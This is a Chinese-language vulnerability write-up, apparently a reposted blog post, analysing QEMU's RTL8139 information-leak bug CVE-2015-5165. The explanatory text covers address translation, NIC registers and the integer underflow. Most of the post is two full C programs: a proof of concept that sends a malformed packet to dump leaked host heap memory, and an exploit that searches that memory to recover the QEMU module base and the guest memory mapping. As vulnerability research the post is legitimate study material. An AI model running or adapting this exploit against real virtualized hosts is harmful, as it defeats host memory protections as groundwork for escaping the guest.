QEMU 信息泄露漏洞 CVE-2015-5165 分析及利用
2020-6-30 08:13:37 Author: programlife.net(查看原文) 阅读量:5 收藏

参考 Phrack 文章 VM escape - QEMU Case Study [1] 对 QEMU 信息泄露漏洞 CVE-2015-5165 和堆溢出漏洞 CVE-2015-7504 进行调试分析并编写 Exploit 代码,本文主要分析其中的 RTL8139 网卡信息泄露漏洞 CVE-2015-5165。

在 VMware Workstation 中创建 Ubuntu 20.04 虚拟机,并为虚拟机的 CPU 开启虚拟化引擎相关选项,使之支持嵌套虚拟化,以便对 QEMU 进行调试分析。

QEMU 编译完成之后,需要创建一个用于调试漏洞的虚拟机。为了调试方便,这里安装 Ubuntu 20.04 Server 版本(比较新的 Ubuntu Server 没有 32 位的版本,但这里建议安装一个 32 位的系统,因为后面的 PoC 和 Exploit 都是针对 32 位环境编写的),相关命令如下所示 [3]:

和 Host 操作系统一样,Guest 操作系统中的每个进程都有自己的虚拟地址空间,这里称之为 Guest Virtual Address,即 GVA;通过进程自身的页表(Page Table),Guest 操作系统可以将 GVA 转换为对应的 GPA(Guest Physical Address)。

Guest 操作系统的 GPA,实际上是对应的 QEMU 进程中映射的虚拟内存,即 HVA(Host Virtual Address);Host 操作系统同样通过对应进程的页表,最终将其转换为对应的 HPA(Host Physical Address)。

关于 Guest Virtual Address 到 Host Virtual Address 的转换,Phrack 的文章没怎么解释,在网上找到另一篇文章 [5] 解释的比较清楚(以 64 位系统为例):

根据文档 [6] 可知,只有拥有 CAP_SYS_ADMIN 权限的进程才可以读取到 PFN,否则虽然可以打开 pagemap 文件,但是读取到的 PFN 将会是 0

在宿主机中使用 GDB 附加到 QEMU 进程,可以看到虚拟机中的物理地址实际上就是 QEMU 进程为虚拟机分配的内存所在的 Host Virtual Address 的偏移地址:

CVE-2015-5165 是 QEMU 在模拟 Realtek RTL8139 网卡时存在的一个漏洞,具体为文件 hw\net\rtl8139.c 中的函数 rtl8139_cplus_transmit_one 在发送数据时没有检查 IP 数据包头部的长度 hlen 与整个 IP 数据包的长度 ip->ip_len 之间的关系,导致在计算数据长度的时候存在整数溢出:

和 IP 数据包一样,TCP 报文头部的长度由 Header Length 字段指明,最大可以是 0b1111 * 4 = 60 字节,在 Options 字段为空的情况下头部长度为 20 字节。

这里尝试从 Ethernet Frame 中解析 IPv4 数据包,在计算 IP 数据包中的数据长度时,在进行减法运算前并没有比较两个操作数的大小关系,通过触发整数溢出使得 ip_data_len 的最大值可以是 0xFFFF

紧接着是发送数据包,如果是 TCP 数据( IP_PROTO_TCP )且数据量过大(设置了 CP_TX_LGSEN 标记),则会进行分片处理,即切分成多个 IP 数据包进行发送;此时 ip_data_len 将被用于计算 tcp_data_len 的值:

QEMU 模拟的 RTL8139 网卡在发送和接收数据时,内部代码分支的走向很大程度上依赖于网卡的状态,对应的结构体为 RTL8139State (位于文件 hw\net\rtl8139.c 中):

RTL8139State 结构体中的许多字段实际上就是 RTL8139 网卡内部的寄存器,关于这些寄存器的描述,可以参考厂商 Realtek 提供的 Datasheet 手册 [8],下图为 Phrack 文章 [1] 提供的介绍(这里为 RTL8139 网卡在 C+ 模式下的寄存器介绍):

关于 Descriptor 的定义,同样可以参考厂商 Realtek 提供的 Datasheet 手册 [8],下图为 Transmit Descriptor 的定义:

MMIO 将外设的内存和寄存器直接映射到系统的地址空间中(这部分空间通常是保留给外设专用的),这样 CPU 通过普通的汇编指令即可和外设进行交互;而 PMIO 则将外设的内存和寄存器映射到隔离的地址空间中(PMIO 地址空间的大小为 64KB),CPU 通过 inout 指令和外设进行交互。

在 Linux 下可以使用 pciutils 中的 lspci 查看设备的 PMIO 地址区间 [9],这里测试用的 Ubuntu Server 已经自带了 pciutils,只需要在启动时添加 RTL8139 网卡即可,启动命令如下:

这里最后一行的作用是把 Ubuntu Server 虚拟机的 22 端口转发到主机的 2222 端口,方便主机通过 SSH 访问虚拟机(VNC Viewer 无法复制粘贴),在主机中执行以下命令即可连接虚拟机:

通过结构体 RTL8139State 的成员 bar_io 的交叉引用可以定位到函数 pci_rtl8139_realize ,这里对 PMIO 和 MMIO 进行了初始化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
RTL8139State *s = RTL8139(dev);
DeviceState *d = DEVICE(dev);
uint8_t *pci_conf;

pci_conf = dev->config;
pci_conf[PCI_INTERRUPT_PIN] = 1; /* interrupt pin A */
/* TODO: start of capability list, but no capability
* list bit in status register, and offset 0xdc seems unused. */
pci_conf[PCI_CAPABILITY_LIST] = 0xdc;

memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
"rtl8139", 0x100);
memory_region_init_io(&s->bar_mem, OBJECT(s), &rtl8139_mmio_ops, s,
"rtl8139", 0x100);
pci_register_bar(dev, 0, PCI_BASE_ADDRESS_SPACE_IO, &s->bar_io);
pci_register_bar(dev, 1, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->bar_mem);
// ......
}

当往 TxPoll 写入数据时,可以触发 C+ TxPoll normal priority transmission ,即调用函数 rtl8139_cplus_transmit ,定义如下:

弄清楚漏洞的原理之后,编写 PoC 就比较简单了!对 Linux 和硬件接触不多的初学者(比如笔者自己),建议尝试理解每一行代码的作用,遇到不懂的概念就 Google 一下,代码不 Work 就 Debug 一下,在这个过程中可以学到很多新的知识,这也正是分析该漏洞的出发点。

(I) 在构造数据包时,Ethernet Frame 的源 MAC 地址、目标 MAC 地址需要填充为 QEMU 虚拟机 RTL8139 网卡的 MAC 地址,通过 ifconfig -a 命令可以查看本机所有网卡的数据;笔者一开始使用的 ifconfig 命令,结果偏偏没有打印 RTL8139 网卡的信息,导致填充了错误的 MAC 地址,通过调试 QEMU 进程才发现 MAC 地址不一致;

(II) Phrack 文章 [1] 提供的 Exploit 代码中 rtl8139_tx_desc 是栈上的局部变量,实际测试时发现获取不到在内存中的物理地址(Guest Physical Address),改为从堆上动态申请内存即可;调试发现是笔者自己实现的获取物理内存地址的代码有问题,因为栈的地址很高,转换成有符号数是一个负数,所以在调用 fseek 的时候需要处理好符号问题,否则 fseek 会失败;

调试发现 Phrack 文章 [1] 末尾给出的代码存在一个 Bug,而这个 Bug 居然没有人发现,笔者搜索了国内相关的技术文章,发现都照搬了这个 Bug 。其他人没有发现这里的问题,可能是由于分析环境的不同所造成的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptors address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
RxRingAddrLO = 0xE4, // 64-bit start addr of Rx descriptor
RxRingAddrHI = 0xE8, // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
};

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
// DST MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// SRC MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// Length / Type: IPv4
0x08, 0x00,

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 0x05 * 4 = 20 bytes
0x00,
// Total Length = 0x13 = 19 bytes
0x00, 0x13, // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // Identification
0x40, 0x00, // Flags & Fragment Offset
0x40, // TTL
0x06, // Protocol: TCP
0xde, 0xad, // Header checksum
0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // Source Port
0xbe, 0xef, // Destination Port
0x00, 0x00, 0x00, 0x00, // Sequence Number
0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
0x50, // 01010000, Header Length = 5 * 4 = 20
0x10, // 00010000, ACK
0xde, 0xad, // Window Size
0xde, 0xad, // TCP checksum
0x00, 0x00 // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];

ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,
sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
// 不打印也无所谓了
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}

// TODO: free heap blocks

return 0;
}

Phrack 文章 [1] 漏洞利用的思路为:在泄露的数据中搜索保存了 ObjectProperty 对象的堆块(可能是已经被释放的堆块),通过读取 ObjectProperty 对象中保存的函数指针来泄露模块 qemu-system-x86_64 的基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>
#include <inttypes.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

#define CHUNK_COUNT 0x2000
#define CHUNK_SIZE_MASK ~7ull

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptors address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
RxRingAddrLO = 0xE4, // 64-bit start addr of Rx descriptor
RxRingAddrHI = 0xE8, // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
};

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
// DST MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// SRC MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// Length / Type: IPv4
0x08, 0x00,

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 0x05 * 4 = 20 bytes
0x00,
// Total Length = 0x13 = 19 bytes
0x00, 0x13, // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // Identification
0x40, 0x00, // Flags & Fragment Offset
0x40, // TTL
0x06, // Protocol: TCP
0xde, 0xad, // Header checksum
0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // Source Port
0xbe, 0xef, // Destination Port
0x00, 0x00, 0x00, 0x00, // Sequence Number
0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
0x50, // 01010000, Header Length = 5 * 4 = 20
0x10, // 00010000, ACK
0xde, 0xad, // Window Size
0xde, 0xad, // TCP checksum
0x00, 0x00 // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];

ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

size_t scan_leaked_chunks(rtl8139_ring* ring, size_t ring_count,
size_t chunk_size, void** chunks, size_t chunk_count)
{
size_t count = 0;
for (size_t i = 0; i < ring_count; ++i)
{
// Ethernet Frame Header: 14 +
// IP Header: 20 +
// TCP Header: 20 = 54
uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
while (ptr < end)
{
uint64_t size = *(uint64_t*)ptr & CHUNK_SIZE_MASK;
if (size == chunk_size)
{
chunks[count++] = (void*)(ptr + 8);
}
ptr += 4;
if (count > chunk_count)
{
return count;
}
}
}
return count;
}

uint64_t leak_module_base_addr(void** chunks, size_t count)
{
const uint64_t property_get_bool_offset = 0x377F66;
const uint64_t mask = 0x00000FFF;
for (size_t i = 0; i < count; ++i)
{
uint64_t* ptr = (uint64_t*)chunks[i] + 3;
if ((*ptr & mask) == (property_get_bool_offset & mask))
{
printf("property_get_bool: 0x%" PRIx64 "\n", *ptr);
return *ptr - property_get_bool_offset;
}
}
return -1;
}

uint64_t leak_physical_memory_addr(rtl8139_ring* ring, size_t ring_count)
{
const uint64_t mask = 0xffff000000ull;
static unsigned short array[0x10000];
size_t index = 0;
memset(array, 0, sizeof(array));

for (size_t i = 0; i < ring_count; ++i)
{
uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
while (ptr < end - 8)
{
uint64_t value = *(uint64_t*)ptr;
if (((value >> 40) & 0xff) == 0x7f)
{
value = (value & mask) >> 24;
array[value]++;
if (array[value] > array[index])
{
index = value;
}
}
ptr += 4;
}
}

uint64_t memory_size = 0x80000000;
return (((uint64_t)index | 0x7f0000) << 24) - memory_size;
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,
sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
// 不打印也无所谓了
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}

// exploit
void* chunks[CHUNK_COUNT] = { 0 };
size_t chunk_count = scan_leaked_chunks(rtl8139_rx_ring, rtl8139_rx_nb,
0x60, chunks, CHUNK_COUNT);
uint64_t module_addr = leak_module_base_addr(chunks, chunk_count);
printf("qemu-system-x86_64: 0x%" PRIx64 "\n", module_addr);
uint64_t physical_memory_addr = leak_physical_memory_addr(
rtl8139_rx_ring, rtl8139_rx_nb);
printf("physical memory address: 0x%" PRIx64 "\n", physical_memory_addr);

// TODO: free heap blocks

return 0;
}

第一次分析 QEMU 的漏洞,整体感觉还挺有意思的,CVE-2015-5165 这个漏洞本身简单易懂,如果了解网卡基本工作原理的话,Exploit 编写也不是很难。

[7] TCP/IP Illustrated, Volum 1, The protocols, Second Edition, Kevin R. Fall, W. Richard Stevens


文章来源: https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/
如有侵权请联系:admin#unsafe.sh